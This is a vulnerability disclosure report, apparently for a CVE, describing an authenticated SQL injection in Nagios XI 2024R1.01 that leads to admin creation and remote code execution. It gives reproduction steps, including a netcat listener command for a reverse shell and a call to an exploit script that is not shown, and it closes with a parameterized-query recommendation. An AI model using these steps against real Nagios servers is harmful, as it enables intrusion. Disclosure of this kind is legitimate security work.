## Vulnerability Report

CVE Disovered by: Jarod Jaslow (MAWK) 


### Vulnerability Details:

- **Endpoint:** `/nagiosxi//config/monitoringwizard.php` Nagios XI Version 2024R1.01
- **Vulnerability Type:** Authenticated SQL Injection
- **Exploitation Result:** Admin account creation and full remote code execution

### Steps to Reproduce:

1. Create a fresh instance of Nagios XI Version 2024R1.01.
![Pasted image 20240118113507](

![Pasted image 20240118113528](

![Pasted image 20240118113539](

![Pasted image 20240118113554](

3. Create a user with minimum permissions.
![Pasted image 20240118113548](

5. Start a local listener on the attacker machine using netcat: `nc -nlvp 4444`.
6. Execute the provided Python script with the correct arguments:
    python3 <target IP> <Local Listening IP> <NC listening port>
![Pasted image 20240118113632](

### Proof of Concept:

Attached is the Python script demonstrating the vulnerability 

### Recommendation:

To mitigate the risk of SQL injection, it is strongly advised to use parameterized queries or prepared statements when interacting with databases. Parameterized queries ensure that user input is treated as data, not executable code, making it much more difficult for attackers to inject malicious SQL statements.

This should be mitigated in recent updates.